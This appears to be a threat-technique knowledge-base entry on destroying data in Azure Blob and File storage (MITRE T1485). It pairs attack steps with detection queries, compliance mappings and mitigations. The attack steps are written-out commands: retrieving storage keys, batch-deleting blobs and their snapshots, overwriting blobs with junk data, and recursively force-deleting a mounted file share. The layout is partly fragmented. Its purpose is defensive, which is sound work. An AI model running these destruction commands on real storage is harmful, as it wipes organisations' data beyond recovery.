| Attribute | Details | |—|—| | Technique ID | IMPACT-DATA-DESTROY-001 | | Technique Name | Data Destruction via Blob Storage | | MITRE ATT&CK v18.1 | Data Destruction (T1485) – https://attack.mitre.org/techniques/T1485/ | | Tactic | Impact | | Platforms | Azure Storage (Blob, File), Entra ID, Azure Resource Manager | | Environment | Entra ID / Azure Storage Accounts | | Severity | Critical | | CVE | N/A (abuse of legitimate APIs; may coexist with specific CVEs in access path) | | Technique Status | ACTIVE | | Last Verified | 2026-01-10 | | Affected Versions | All Azure Storage account types (GPv1, GPv2, BlobStorage), across all public regions | | Patched In | N/A – mitigated via soft delete, versioning, immutable storage, RBAC and network controls, but core delete operations remain by design.[34][37][43] | | Author | SERVTEP – Artur Pchelnikau |
DeleteBlob / DeleteFile operations or overwrites blobs with junk data to render information irrecoverable.[36][42] In cloud ransomware campaigns, this is often combined with encryption or destruction of on‑prem/VM data to maximize business impact and eliminate recovery paths.[19]| Framework | Control / ID | Description (Failure Mode) |
|---|---|---|
| CIS Azure Foundations | CIS AZURE 3.6, 4.4 | Lack of diagnostics/metrics and missing soft delete/versioning on storage accounts leads to undetected and unrecoverable blob deletions. |
| DISA STIG | Azure Storage STIG (logging, backup) | Non‑compliance with logging and backup STIGs for mission‑critical cloud storage. |
| CISA SCuBA | Data Protection, Logging | Failure to enable immutable storage, soft delete, and comprehensive logging for SaaS/PaaS data stores. |
| NIST SP 800‑53 Rev.5 | CP-9, CP-10, SI-12, AU-12 | Weak backup and recovery for cloud data, insufficient audit logging for storage operations, and lack of integrity protections.[39] |
| GDPR | Art. 5(1)(f), 32 | Inability to ensure integrity and availability of personal data stored in Azure, leading to possible supervisory sanctions. |
| DORA | Art. 11 | Inadequate data backup and recovery for critical financial services relying on cloud storage. |
| NIS2 | Art. 21 | Non‑implementation of measures to ensure system and network resilience and maintain operations in case of incidents. |
| ISO 27001:2022 | A.8.13, A.5.30 | Missing protection of information in cloud services and lack of secure backup. |
| ISO 27005 | Risk Scenario: “Cloud object storage mass deletion” | High‑impact scenario involving loss of long‑term records and backups in cloud object stores. |
Microsoft.Storage/storageAccounts/listKeys/action, Microsoft.Storage/storageAccounts/blobServices/containers/delete, Microsoft.Storage/storageAccounts/blobServices/containers/blobs/delete.Supported Versions:
All Azure Storage account SKUs supporting blob containers and file shares.
az storage blob delete, az storage container delete).Remove-AzStorageBlob).az storage account list -o table
What to Look For:
az storage account show --name <storageAccount> --resource-group <RG> \
--query "{name:name, kind:kind, enableBlobVersioning:blobServices.defaultServiceVersion,
deleteRetentionPolicy:blobServices.deleteRetentionPolicy.enabled}"
What to Look For:
StorageBlobLogs
| where TimeGenerated > ago(7d)
| where OperationName == "DeleteBlob" and StatusText == "Success"
| summarize Deleted = count() by AccountName, CallerIpAddress, UserAgentHeader
| order by Deleted desc
What to Look For:
Supported Versions: All Azure Storage account types.
Objective: Use elevated role to retrieve access keys, bypassing Entra ID attribution.
az storage account keys list -g <RG_NAME> -n <STORAGE_ACCOUNT>
Expected Output:
Objective: Use keys to authenticate and delete blobs programmatically.
ACCOUNT=<STORAGE_ACCOUNT>
KEY=<PRIMARY_KEY>
CONTAINER=<CONTAINER_NAME>
az storage blob delete-batch \
--account-name $ACCOUNT \
--account-key $KEY \
--source $CONTAINER \
--delete-snapshots include
Expected Output:
DeleteBlob operations in StorageBlobLogs.[35]OpSec & Evasion:
References & Proofs:
Objective: Render data unrecoverable even when some retention settings exist.
az storage blob upload-batch \
--account-name $ACCOUNT \
--account-key $KEY \
--source ./junk-data-folder \
--destination $CONTAINER \
--overwrite true
Attackers may upload random data to overwrite existing blob content, then delete prior versions if not protected by immutability.[36]
When Azure Files shares are mounted to VMs/on‑prem servers, adversaries can use OS delete operations (e.g., del, rm) against UNC paths or mapped drives – still recorded in StorageFileLogs.
Remove-Item \\storageaccount.file.core.windows.net\share\* -Recurse -Force
While Atomic Red Team T1485 primarily targets local disks and GCP buckets, similar patterns can be adapted for Azure storage operations.[64][70][67]
Example Windows test (SDelete) to validate general T1485 detections:
Invoke-AtomicTest T1485 -TestNumbers 1
Cleanup:
Invoke-AtomicTest T1485 -TestNumbers 1 -Cleanup
Reference: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1485/T1485.md
GUI tools make it easy to perform bulk deletions; defenders should monitor their usage for privileged accounts.
az storage blob delete-batchaz storage container deleteRemove-AzStorageContainer, Remove-AzStorageBlobEnsure Role‑Based Access Control and conditional access around their use.
Reference: Azure Sentinel query Azure Storage Mass File Deletion shows the core pattern.[35]
SPL (adapted):
index=azure sourcetype="azure:storage:blob" OR sourcetype="azure:storage:file"
| where StatusText="Success" AND (OperationName="DeleteBlob" OR OperationName="DeleteFile")
| eval IP=split(CallerIpAddress, ":")[0]
| bin _time span=10m
| stats dc(Uri) as FilesDeleted by _time, IP, UserAgentHeader, AccountName
| where FilesDeleted >= 100
What This Detects:
Reference: AzureStorageMassDeletion.yaml analytic rule for T1485.[35][38]
KQL (core pattern):
let deleteThreshold = 100;
let deleteWindow = 10m;
union StorageFileLogs, StorageBlobLogs
| where StatusText == "Success"
| where OperationName in ("DeleteBlob","DeleteFile")
| extend CallerIpAddress = tostring(split(CallerIpAddress, ":", 0)[0])
| summarize dcount(Uri) by bin(TimeGenerated, deleteWindow), CallerIpAddress, UserAgentHeader, AccountName
| where dcount_Uri >= deleteThreshold
Use this as a scheduled analytics rule with High severity.
Not applicable – impact occurs on Azure Storage control plane. Monitoring relies on Azure logs, not local OS events.
Not applicable for direct blob deletion via APIs. Sysmon becomes relevant only when destruction is performed from endpoints against mounted Azure Files shares; in that case, treat it as generic T1485 on the endpoint.
Manual steps: Azure Portal → Microsoft Defender for Cloud → Environment settings → Subscription → Defender plans → Defender for Storage: ON.
For M365 workloads that sync to Azure Storage or use similar patterns (Dataverse, SharePoint, OneDrive), Purview provides audit signals for mass deletes or suspicious bulk operations.[20][38]
Example Purview search pattern:
Search-UnifiedAuditLog -Operations FileDeleted -StartDate (Get-Date).AddDays(-1) -ResultSize 5000
Action 1: Enable Blob Versioning and Soft Delete Everywhere
Manual Steps (Portal):
Action 2: Use Immutable Storage (WORM) for Critical Data
Action 3: Minimize and Monitor Access Keys & SAS
Action: Centralize Logging and Create Mass Deletion Alerts
DeleteBlob / DeleteFile operations; unusual CallerIpAddress or UserAgentHeader values in Storage logs.[35]| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | IA-VALID-001 | Compromise of cloud admin / storage operator account or CI/CD credentials. |
| 2 | Privilege Escalation | PE-VALID-010 | Elevation to Storage Account Contributor / Owner or obtaining storage keys via Key Vault abuse. |
| 3 | Current Step | [IMPACT-DATA-DESTROY-001] Data Destruction via Blob Storage | Mass deletion and overwriting of blobs and files in Azure Storage. |
| 4 | Impact | T1486, T1490 | Parallel encryption and inhibition of recovery in linked workloads and backups. |